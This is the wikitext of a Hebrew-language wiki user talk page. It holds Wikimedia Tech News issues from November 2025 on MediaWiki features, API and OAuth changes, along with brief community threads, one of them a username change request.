* הדף למפעילים [[{{#special:MergeHistory}}]] הרבה יותר גמיש מבעבר. ניתן למזג חלקים הנלקחים מאמצע היסטוריית הגרסאות של המקור, במקום רק מהתחלה. ניתן גם להכניס גרסאות בכל מקום בהיסטוריית היעד, ולא רק בהתחלה. [https://phabricator.wikimedia.org/T382958]
* המשתמשים עם האופציה &quot;{{int:discussiontools-preference-autotopicsub}}&quot; דלוקה ב[[Special:Preferences#mw-prefsection-editing|העדפות]] יצרו פתיחת נושא חדש או מענה בנושא קיים מנוי לנושא המדובר. עד כה זה קרה רק עם הווידג'טים &quot;{{int:Skin-action-addsection}}&quot; ו&quot;{{int:Discussiontools-replybutton}}&quot; של כלי שיחה היו בשימוש. כשכלי שיחה התחילו לעבוד בחשבונות הקיימים לא הוסרו הרשמות נושאים אוטומטיות, כך שהשינוי הנוכחי ישפיע בראש ובראשונה על חשבונות חדשים יותר ועל המשתמשים שעדכנו את ההעדפות במפורש מאז. [https://phabricator.wikimedia.org/T290778]
* יחידות סקריבונטו יכולים עכשיו [[mw:Special:MyLanguage/Extension:Scribunto/Lua reference manual#SVG library|ליצור תמונות SVG]]. ניתן להשתמש בהן לבניית גרפים, דיאגרמות ואיורים נוספים ישירות דרך לואה, מה שמקטין את הצורך לבנות קבצים חיצוניים ולהעלות אותם. [https://phabricator.wikimedia.org/T405861]
* אתרי הקרן מרשים עכשיו לכל המשתמשים האלמונים להפעיל מצב כהה, צבעים בהירים על רקע כהה. זה ישפר את חווית הקריאה, במיוחד במקומות חשוכים.  [https://phabricator.wikimedia.org/T395628]
* משתמשים בעלי רשימות מעקב גדולות נתקלו בעבר בטעינה איטית בזמן עריכת [[Special:EditWatchlist|מיוחד:עריכת רשימת המעקב]]. הדף נטען עכשיו בחלקים במקום בשלמותו, עקב עדכון מנגנון העימוד, מה שמאפשר לכולם לערוך את רשימת המעקב שלהם בצורה חלקה יותר. כחלק מעדכון בסיס הנתונים הוסר המיון לפי תאריך תפוגה, כיוון שהיה פי מאה יותר איטי ממיון לפי שם. נוצרה [https://meta.wikimedia.org/wiki/Community_Wishlist/W454 משאלת הקהילה] לבדיקת דרכים אלטרנטיביות למיון לפי תאריך. אם התכונה הזאת חשובה לכם אנא תביעו תמיכה במשאלה. [https://phabricator.wikimedia.org/T41510]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:31|התקלה שדווחה|כל {{formatnum:31}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקנה הדגשה קבועה בשימוש בחיפוש והחלפה של העורך החזותי במהלך השאילתא. [https://phabricator.wikimedia.org/T407318]
'''עדכונים לעורכים הטכניים'''
* החל משנת 2019 זמין [[m:Special:MyLanguage/Wikimedia URL Shortener|מקצר הכתובות]] של ויקימדיה ב-https://w.wiki בכל אתרי ויקי, כשהוא מאפשר ליצור קישורים קצרים לערכים, לקישורים קבועים, להשוואות וכו'. ניתן למצוא אותו בתפריט הצדדי ב&quot;קבלת כתובת מקוצרת&quot;. ב-30 אתרי ויקי מותקנת גם ההרחבה הישנה בשם &quot;ShortUrl&quot;. היא תוסר בקרוב. זה אומר שכתובות URL עם &lt;code&gt;/s/&lt;/code&gt; לא יפורסמו יותר מתחת לכותרות הדפים באמצעות &lt;code dir=ltr&gt;class=&quot;title-shortlink&quot;&lt;/code&gt; ב-HTML. הכתובות עם &lt;code&gt;/s/&lt;/code&gt; ימשיכו לעבוד. [https://phabricator.wikimedia.org/T107188]
* ביום חמישי, 30 באוקטובר, [[:mw:Special:MyLanguage/MediaWiki Interfaces Team|צוות ממשקי מדיה-ויקי]] ו[[:mw:Special:MyLanguage/Wikimedia Site Reliability Engineering|צוות מבצעי שרות SRE]] יתחילו לנווט את התנועה של Action API דרך שער ה-API המשותף. אתרי ויקי שונים יעודכנו בהתאם לקבוצות פריסה רגילות, והתנועה הכוללת תגדל למשך זמן. השינוי לא יהיה breaking change ולא יפריע. אם יהיו בעיות יש למלא כרטיס חדש בפבריקטור בלוח של [https://phabricator.wikimedia.org/tag/serviceops/ צוות מבצעי השרות SRE].
* רכבת הפריסות של מדיה-ויקי תעצור לשבועיים בסוף 2025, בשבועות של 22 ו-29 בדצמבר. חלונות הבקפורט יופסקו בין יום שני, 22 בדצמבר 2025 ליום חמישי, 2 בינואר 2026. נותר חלון אחד לדברים כמו תיקוני באגים ושינויי קונפיגורציה. עד סוף 2025 נותרו 7 ארועי פריסה. [https://lists.wikimedia.org/hyperkitty/list/wikitech-l@lists.wikimedia.org/thread/SMWTEAES4SDLDUSK4HMWNBSKNCXZAWYN/]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.26|MediaWiki]]

'''לעומק'''
* בשנת 2025 דיווחה קרן ויקימדיה כי מערכות בינה מלאכותית ומנועי חיפוש צורכים יותר ויותר תוכן ויקיפדי מבלי לנווט את המשתמשים לאתרי ויקי, מה שגרם לירידה של 8% בקריאות דפים של בני אדם בהשוואה לשנת 2024. לאחר גילוי הבוטים שהוסבו כבני אדם עדכנה הקרן את נותוני התנועה כדי לשקף את התופעה. ניתן לקרוא יותר על טרנדים קיימים של משתמשים בוויקיפדיה ב[[diffblog:2025/10/17/new-user-trends-on-wikipedia/|בלוג של Diff]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/45|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W45&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 21:35, 3 בנובמבר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29552512 --&gt;

== מחיקת הדף ==

ירמיהו פרק לו
(כט) וְעַל יְהוֹיָקִ֤ים מֶֽלֶךְ יְהוּדָה֙ תֹּאמַ֔ר כֹּ֖ה אָמַ֣ר ה' אַ֠תָּה שָׂרַ֜פְתָּ אֶת הַמְּגִלָּ֤ה הַזֹּאת֙ לֵאמֹ֔ר מַדּוּעַ֩ כָּתַ֨בְתָּ עָלֶ֜יהָ לֵאמֹ֗ר בֹּֽא יָב֤וֹא מֶֽלֶךְ בָּבֶל֙ וְהִשְׁחִית֙ אֶת הָאָ֣רֶץ הַזֹּ֔את וְהִשְׁבִּ֥ית מִמֶּ֖נָּה אָדָ֥ם 
(ל) לָכֵ֞ן כֹּֽה אָמַ֣ר יְקֹוָ֗ק עַל יְהֽוֹיָקִים֙ מֶ֣לֶךְ יְהוּדָ֔ה לֹא יִֽהְיֶה לּ֥וֹ יוֹשֵׁ֖ב עַל כִּסֵּ֣א דָוִ֑ד וְנִבְלָתוֹ֙ תִּֽהְיֶ֣ה מֻשְׁלֶ֔כֶת לַחֹ֥רֶב בַּיּ֖וֹם וְלַקֶּ֥רַח בַּלָּֽיְלָה: [[מיוחד:תרומות/&amp;#126;2025-31320-14|&amp;#126;2025-31320-14]] • [[שיחת משתמש:&amp;#126;2025-31320-14|שיחה]] 05:36, 5 בנובמבר 2025 (IST)
: זיַיט געזונט.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 12:47, 5 בנובמבר 2025 (IST)

== ידיעות הטכנולוגיה 2025 – גיליון 46 ==

&lt;section begin=&quot;technews-2025-W46&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/46|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
[[File:Talk pages default look (April 2023).jpg|thumb|alt=צילום מסך של השיפור החזותי בדפי השיחה|דוגמה של דף שיחה עם העיצוב החדש, בצרפתית.]]
* החל מ-12 בנובמבר יראו המשתמשים ב[[Phab:T379264|כמה ויקיפדיות נוספות]] שינוי ב[[m:Special:MyLanguage/Talk pages project/Feature summary#Usability improvements|מראה דפי השיחה]]. כמעט [[phab:T392121|כל אתרי ויקי]] כבר קיבלו את השינוי המדובר, כולל בעברית. [[phab:T409297|ויקיאנגלית]] תקבל אותו בעתיד. ניתן לקרוא פרטים [[diffblog:2024/05/02/making-talk-pages-better-for-everyone/|ב-Diff]]. המשתמשים יכולים לכבות את החידושים ב[[Special:Preferences#mw-prefsection-editing|העדפות]], באמצעות &quot;{{int:discussiontools-preference-visualenhancements}}&quot;.&amp;rlm; [https://phabricator.wikimedia.org/T379264]
* מדיה-ויקי יכול להציג עכשיו [[mw:Special:MyLanguage/Help:Protection indicators|אינדיקטור בראשית הדף]], בצורה אוטומטית, כאשר הדף מוגן. זה מנותק כברירת מחדל, וניתן להדלקה באמצעות [[m:Special:MyLanguage/Requesting wiki configuration changes|בקשת הקהילה]]. [https://phabricator.wikimedia.org/T12347]
* בלחיצת הכפתורים &quot;{{int:showpreview}}&quot; או &quot;{{int:showdiff}}&quot; בעורך החזותי יועברו לדף הבא פרמטרים דוגמת &quot;[[mw:Special:MyLanguage/Manual:Parameters to index.php#useskin|useskin]]&quot;, &amp;rlm;  &quot;[[mw:Special:MyLanguage/Manual:Parameters to index.php#uselang|uselang]]&quot; או &quot;[[mw:Special:MyLanguage/Help:Section#Editing sections|section]]&quot;. העדכון הזה יתקן גם בעיה קיימת בה כשהדפדפן קרס במהלך תצוגה מקדימה של פסקה בודדת, השמירה הייתה מחליפה את תוכן הדף בתוכן הפסקה הזאת בלבד. [https://phabricator.wikimedia.org/T62744][https://phabricator.wikimedia.org/T24029][https://phabricator.wikimedia.org/T155097]
* משתמשי ויקימסע יכולים להשתמש ב[[mw:Special:MyLanguage/Help:Extension:Kartographer#Markers and counters|סמני מפה צבעוניים בטקסט הערך]]. מעכשיו הטקסט יופיע לפי הצורך בשחור או בלבן, במקום רק בשחור בעבר, בשביל ניגודיות טובה יותר. הפתרונות המקומיים לכך יוסרו. [https://phabricator.wikimedia.org/T369454]
* כרטיסיית הפעילות ביישומון ויקיפדיה לאנדרואיד זמינה עכשיו לכולם. היא מציעה נקודות מעניינות מותאמות אישית לגבי קריאה, עריכה והתרמה, תוך כדי הפשטת הניווט והפיכת היישומון לנגיש יותר. [https://www.mediawiki.org/wiki/Wikimedia_Apps/Team/Android/Activity_Tab_Experiment]
* צוות הקריאה של Growth מתחיל בניסוי &quot;דפדוף תמונות&quot;, כדי לבדוק איך להקל על הקוראים לדפדף ולגלות תמונות בערכי ויקיפדיה. הניסוי מתקיים בניידים, בצורה בדיקת A/B, והוא יימשך בוויקיאנגלית עד לשבוע של 17 בנובמבר, למשך ארבע שבועות. הוא ישפיע על 0.05% ממשתמשי ויקיאנגלית. הניסוי התחיל ב-3 בנובמבר בוויקיפדיות בערבית, בסינית, בצרפתית, באינדונזית ובווייטנאמית, כשלקחו בו חלק 10% מהמשתמשים בוויקיפדיות הללו. [https://www.mediawiki.org/wiki/Readers/Reader_Growth/WE3.1.3_Image_Browsing]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:27|התקלה שדווחה|כל {{formatnum:27}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקנה הבעיה המונעת נעילת חשבונות באתרים הניידים. [https://phabricator.wikimedia.org/T256185]

'''עדכונים לעורכים הטכניים'''
* [[wikitech:Help talk:Toolforge/Toolforge standards committee#November 2025 committee nominations|נפתחה ההתמודדות ב-Wikitech]] לחברים חדשים בו[[wikitech:Help:Toolforge/Toolforge standards committee|ועדת התקנים של Toolforge]]. היא משגיחה בין היתר על [[wikitech:Help:Toolforge/Right to fork policy|מדיניות זכות הפיצול]] ועל [[wikitech:Help:Toolforge/Abandoned tool policy|מדיניות הכלים הנטושים]]. ניתן להגיש הצעות לפחות עד 28 בנובמבר.
* [[w:JSON Web Token#Standard fields|השדה issuer ל-JWT]] ב[[mw:Special:MyLanguage/OAuth/For Developers#OAuth 2|אסימוני גישה של OAuth 2]] שונה ל-&lt;code&gt;&lt;nowiki&gt;https://meta.wikimedia.org&lt;/nowiki&gt;&lt;/code&gt;. האסימונים הישנים ימשיכו לעבוד. [https://phabricator.wikimedia.org/T399199]
* [[w:JSON Web Token#Standard fields|השדה issuer ל-JWT]] ב[[mw:Special:MyLanguage/OAuth/For Developers#OAuth 2|אסימוני גישה של OAuth 2]] ישתנה בקרוב מ-&lt;code&gt;&lt;user id&gt;&lt;/code&gt; ל-&lt;code dir=ltr style=&quot;white-space:nowrap&quot;&gt;mw:&lt;identity type&gt;:&lt;user id&gt;&lt;/code&gt;, כאשר &lt;code&gt;&lt;identity type&gt;&lt;/code&gt; הוא בדרך כלל &lt;code dir=ltr&gt;CentralAuth:&lt;/code&gt;&lt;!-- not a typo --&gt; ל[[m:Special:MyLanguage/Help:Unified login|אתרי ויקי עם SUL]], או &lt;code dir=ltr style=&quot;white-space:nowrap&quot;&gt;local:&lt;wiki id&gt;&lt;/code&gt; לשאר. זה נעשה כדי למנוע התנגשויות בין סוגי ID שונים, וכדי להפוך את האסימונים ואת העוגיות &lt;code&gt;sessionJwt&lt;/code&gt; לדומים יותר. האסימונים הישנים ימשיכו לעבוד. [https://phabricator.wikimedia.org/T399199]
* הודעות מדיה-ויקי לגבי החסימות, [[MediaWiki:Blockedtext|blockedtext]],&amp;rlm; [[MediaWiki:Blockedtext-partial|blockedtext-partial]],&amp;rlm; [[MediaWiki:Autoblockedtext|autoblockedtext]],&amp;rlm; [[MediaWiki:Systemblockedtext|systemblockedtext]],&amp;rlm; [[MediaWiki:Blockedtext-tempuser|blockedtext-tempuser]] ו-[[MediaWiki:Autoblockedtext-tempuser|autoblockedtext-tempuser]] תומכים מעכשיו בפרמטרים נוספים, המראים האם המשתמש נחסם גם מעריכת דף שיחה אישי, &lt;code&gt;&lt;nowiki&gt;$9&lt;/nowiki&gt;&lt;/code&gt;, ומשליחת מיילים, &lt;code&gt;&lt;nowiki&gt;$&lt;/nowiki&gt;&lt;nowiki&gt;10&lt;/nowiki&gt;&lt;/code&gt;. [https://phabricator.wikimedia.org/T285612]
* נוצר הענף &lt;code&gt;REL1_45&lt;/code&gt; לגרעין מדיה-ויקי ולכל אחת מההרחבות והעיצובים בגיט. מדובר בצעד ראשון לקראת פרסום גרסת מדיה-ויקי 1.45.0, המתוכנן לסוף נובמבר השנה. מי שעובד על תיקוני באגים גדולים או על תכונות חדשות יצטרכו אולי לקחת את זה בחשבון. [https://lists.wikimedia.org/hyperkitty/list/wikitech-l@lists.wikimedia.org/thread/ZUY7TY3Z6XPZWZVAZV63OPO5OW52Q6GE/]
* התהליך ליצירת הדאמפים לחיפוש ויקי עודכן עקב יעילות נמוכה מדי. אם הופיעו בעיות בגלל המעבר בין הדאמפים יש לפנות לתמיכה לצוות פלטפורמת החיפוש. [https://phabricator.wikimedia.org/T366248][https://lists.wikimedia.org/hyperkitty/list/wikitech-l@lists.wikimedia.org/thread/3KQPOR6ACVN6OVLMLZPIBXQSWQKW4E3K/]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.2|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/46|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W46&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 22:38, 10 בנובמבר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29606150 --&gt;

== מה הדין באבידה ששבעתן העין  ==

סליחה על השאלה מה הדין באבידה ששבעת העין [[מיוחד:תרומות/&amp;#126;2025-34103-63|&amp;#126;2025-34103-63]] • [[שיחת משתמש:&amp;#126;2025-34103-63|שיחה]] 18:30, 16 בנובמבר 2025 (IST)
: אינני פוסק הלכות ולא הוסמכתי לרבנות. תשאל את הרב באיזור מגוריך.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 22:02, 16 בנובמבר 2025 (IST)

== ידיעות הטכנולוגיה 2025 – גיליון 47 ==

&lt;section begin=&quot;technews-2025-W47&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/47|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* [[mw:Special:MyLanguage/Readers/Reader Experience|צוות חווית הקריאה]] מבצע ניסוי עם [[mw:Special:MyLanguage/Readers/Reader Experience/WE3.3.4_Reading lists|רשימות קריאה בדפדפנים הניידים]], שמאפשר לקוראים מחוברים לחשבון שלא עשו אף עריכה לנהל רשימות קריאה פרטיות עם ערכים לקריאה מאוחר יותר. הניסוי נעשה בוויקיפדיות בערבית, בסינית, בצרפתית, באינדונזית ובוויטנאמית, החל מהשבוע של 10 בנובמבר. ויקיפדיה באנגלית תצטרף בשבוע של 17 בנובמבר.
* המשתמשים שלא יכולים לקבל מייל עם קוד אימות בהתחברות קיבלו אפשרות להגיש טופס בנושא בדף מיוחד חדש. העדכון הזה הוא חלק מיוזמת [[mw:Special:MyLanguage/Product Safety and Integrity/Account Security|אבטחת חשבון]]. אם בחשבונכם רשומה כתובת מייל יש לוודא שהיא עדיין זמינה עבורכם. כשמתחברים ממכשיר חדש או מיקום חדש ללא 2FA, ייתכן ותתבקשו להכניס קוד בן 6 ספרות הנשלח במייל כדי להשלים את התחברות. ניתן לקבל [[mw:Special:MyLanguage/Product Safety and Integrity/Account Security#Why are you requiring me to enter a code from my email to log in? Can I opt out of this?|פרטים נוספים]].
* אתר ויקי אחד חדש נוצר: {{int:project-localized-name-group-wikisource}} בשפת [[d:Q13324|מינאנגקבאו]] ([[s:min:|&lt;code&gt;s:min:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T408317]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:23|התקלה שדווחה|כל {{formatnum:23}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* כחלק ממיזם [[mw:Special:MyLanguage/Parsoid/Parser Unification|איחוד הפרסרים]], צוות המרת התוכן הפעיל את הפרסואיד כפרסר ברירת מחדל בהרבה ויקיפדיות בעלות טראפיק קטן, והוא מתכן לעשות זאת לשאר ויקיפדיות. אתם מוזמנים בזה להדליק את הפרסואיד כפי שתואר בתיעוד של [[mw:Special:MyLanguage/Help:Extension:ParserMigration|ההרחבה:ParserMigration]], ולאתר בעיות שאפשר להתקל בהן במהלך עבודתכם האישית עם בוטים, גאדג'טים וסקריפטים של משתמשים. אנא הודיעו לנו באמצעות הקישור &quot;דיווח על תקלה חזותית&quot; בתפריט הכלים או צרו תקלה בפבריקטור באמצעות [[phab:project/view/5846|התג של צוות המרת התוכן]].
* כלים ללא תמיכה: כמה בעיות ב[[:c:Special:MyLanguage/Commons:Video2commons|Video2Commons]] תוקנו, כולל כשלים בהעלאה הקשורים לשמות הקבצים, ייבוא של וידאו שחור, וטיפול בניסיונות חוזרים. נוספה גם תמיכה ב-AV1. עכשיו העבודה מתמקד ביצובות של בקאנד, שגיאות ffmpeg, ייבוא כתוביות, טיפול במטאנתונים, והעלאת רשימות השמעה. למעקב אחר בעיות ספציפיות ניתן לפנות ל[[phab:tag/video2commons/|לוח בפבריקטור]].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.3|MediaWiki]]

'''פגישות ואירועים'''
* האקאטון ויקימדיה הבא יתקיים במילנו שבאיטליה בין 1 ל-3 במאי 2026. ההרשמה תפתח בינואר הקרוב. [https://pretix.eu/wikimedia/Hackathon-2026/ הגשת הבקשות למלגה] כבר נפתחה, ותמשך עד ל-28 בנובמבר 2025. עם השאלות ניתן לפנות במייל ל-&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;hackathon@wikimedia.org&lt;/bdi&gt;.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/47|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W47&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 19:26, 17 בנובמבר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29627455 --&gt;

== שינוי שם משתמש ==

שלום נחום
שם המשתמש שלי YS9211 מציג בתיאורו את שמי האמיתי וקורותי המקצועיים. רבים העירו לי שעדיף ששם המשתמש שלי יוחלף ל'יוסי סרי' שהוא שמי האמיתי לסייע למי שמכיר אותי וגם משום שאין למעשה שום טעם להסתירו בקוד סתמי. האם תוכל לשנותו עבורי?
תודה יוסי [[משתמש:YS9211|YS9211]] ([[שיחת משתמש:YS9211|שיחה]]) 10:19, 18 בנובמבר 2025 (IST)
: מתייג את [[משתמש:Neriah|נריה]], אולי הוא יודע איפה מבקשים שינוי שם. בברכה, [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 11:23, 18 בנובמבר 2025 (IST)
::[[מיוחד:בקשת שינוי שם גלובלית]] [[משתמש:Neriah|נריה]] - [[שיחת משתמש:Neriah|💬]] -  11:26, 18 בנובמבר 2025 (IST)
:::תודה.--[[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 11:27, 18 בנובמבר 2025 (IST)
:::תודה רבה. הגשתי עתה בקשה לשינוי השם. [[משתמש:YS9211|YS9211]] ([[שיחת משתמש:YS9211|שיחה]]) 16:40, 7 בדצמבר 2025 (IST)
:::תודה רבה על הביצוע! [[משתמש:יוסי סרי|יוסי סרי]] ([[שיחת משתמש:יוסי סרי|שיחה]]) 13:33, 11 בדצמבר 2025 (IST)

== ידיעות הטכנולוגיה 2025 – גיליון 48 ==

&lt;section begin=&quot;technews-2025-W48&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/48|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* בשבוע שעבר החזיר [[mw:Special:MyLanguage/Wikimedia Search Platform|צוות החיפוש של ויקימדיה]] את הפונקציונליות של הגאדג'ט &quot;DWIM&quot;, או [[w:he:DWIM|Do What I Mean]], הפעם בצד השרת, בוויקיפדיות בעברית וברוסית. היא מאפשרת להוסיף להצעות תיבת החיפוש גם תוצאות חוצות מקלדת. למשל, החיפוש אחר &quot;&lt;span lang=&quot;und&quot; dir=&quot;ltr&quot;&gt;cxfcnmt&lt;/span&gt;&quot; בוויקירוסית יציג גם הצעה ל-&quot;&lt;span lang=&quot;ru&quot; dir=&quot;ltr&quot;&gt;счастье&lt;/span&gt;&quot; (אושר), אליו, ככל הנראה הייתה הכוונה. החיפוש אחר &quot;עםםעךק&quot; בוויקיעברית יבין שהכוונה הייתה ל-&quot;google&quot;. השבוע אמור הכלי להתחיל לפעול גם באתרי ויקי אחרים בעברית וברוסית. [https://phabricator.wikimedia.org/T408734]
* בהמשך השבוע יקבלו משתמשי [[Special:Preferences#mw-prefsection-betafeatures|תכונת הבטא]] &quot;{{int:codemirror-beta-feature-title}}&quot; את צביעת התחביר גם ב[[mw:Special:MyLanguage/Help:DiscussionTools|כלי שיחה]]. לשם כך &quot;{{int:discussiontools-preference-sourcemodetoolbar}}&quot; צריך להיות מופעל בהעדפות. [https://phabricator.wikimedia.org/T407918]
* [[mw:Special:MyLanguage/Help:Extension:CampaignEvents|הרחבת CampaignEvents]] היא חבילת כלים לתיאום אירועים ושיתופי פעולה אחרים של אתרי ויקי, והיא מופעלת עכשיו בכל אתרי ויקימדיה. התווסף גם כלי חדש, [[m:Special:MyLanguage/CampaignEvents/Collaborative contributions|תרומה משותפת]], כדי לעזור למארגנים ולמשתתפים לראות את ההשפעות של הפעילויות. ניתן להצטרף ל[[m:Special:MyLanguage/Event:Connection learning session 3|פגישה לימודית]] בקרוב כדי לראות את התכונה החדשה בפעולה ולהשאיר משוב.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:24|התקלה שדווחה|כל {{formatnum:24}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקן הבאג שהפריע ל-CodeReviewBot לעבוד. [https://phabricator.wikimedia.org/T410417]

'''עדכונים לעורכים הטכניים'''
*  משתמשי API של ויקימדיה יכולים להצטרף למחקר היעילות כדי לעזור לוודא את טיבו של העיצוב החדש בארגז החול של REST API. המעוניינים להשתתף מוזמנים למלא את [https://wikimediafoundation.limesurvey.net/487662 סקר הגיוס]. [https://lists.wikimedia.org/hyperkitty/list/wikitech-l@lists.wikimedia.org/thread/IREJRRWTZTGCYWQHDMSNJFTQAEPOOAE3/]
* צוות הממשקים של מדיה-ויקי הכריז כמתיישנים את גליונות הסגנון XSLT ב-Action API. התמיכה בפרמטרים &lt;span style=&quot;white-space:nowrap;&quot;&gt;&lt;code dir=ltr&gt;format=xml'''&amp;xlst={stylesheet}'''&lt;/code&gt;&lt;/span&gt; תסתיים עד סוף נובמבר השנה. בקרוב היא גם תוסר מגרסאות v1.43 (LTS),&amp;rlm; v1.44 ו-v1.45. התמיכה תוסר לגמרי ממדיה-ויקי החל מגרסה v1.46, וזה צפוי באפריל או במאי 2026. [https://lists.wikimedia.org/hyperkitty/list/wikitech-l@lists.wikimedia.org/thread/5AX7UWAVVUNUSBOIRHMNOKWOZ5EZI3JX/]
* נקודת קצה ישנה של WDQS ב-&lt;span style=&quot;white-space:nowrap;&quot;&gt;[https://query-legacy-full.wikidata.org/ query-legacy-full.wikidata.org]&lt;/span&gt; תוצא מכלל שימוש בסוף דצמבר 2025 ותנותק לגמרי ב-7 בינואר 2026. לאחר מכן יקבלו המשתמשים המבצעים שאילתות ל-query.wikidata.org הפונים לגרף המלא הודעה על כישלון הפעולה או תוצאות שגויות. כדי להמנע לכך יש לשכתב את קוד ה-SPARQL עבור האיחוד. הצוות מבקש מהמשתמשים לוודא שהכלים ותהליכי העבודה שלהם פונים לנקודות קצה פעילות, &lt;span style=&quot;white-space:nowrap;&quot;&gt;&lt;span dir=ltr&gt;&lt;nowiki&gt;https://query.wikidata.org/&lt;/nowiki&gt;&lt;/span&gt;&lt;/span&gt; עבור הגרף הראשי או &lt;span style=&quot;white-space:nowrap;&quot;&gt;&lt;span dir=ltr&gt;&lt;nowiki&gt;https://query-scholarly.wikidata.org/&lt;/nowiki&gt;&lt;/span&gt;&lt;/span&gt; עבור הגרף המדעי. לתמיכה במעבר עבור דוגמאות ספציפיות ניתן לפנות לדפי [[d:Special:MyLanguage/Wikidata:Data_access|גישה למידע]] ו[[d:Wikidata:Request_a_query|בקשת שאילתה]], שם ניתן למצוא פרטים ועזרה לגבי דרכי גישה חלופיות.
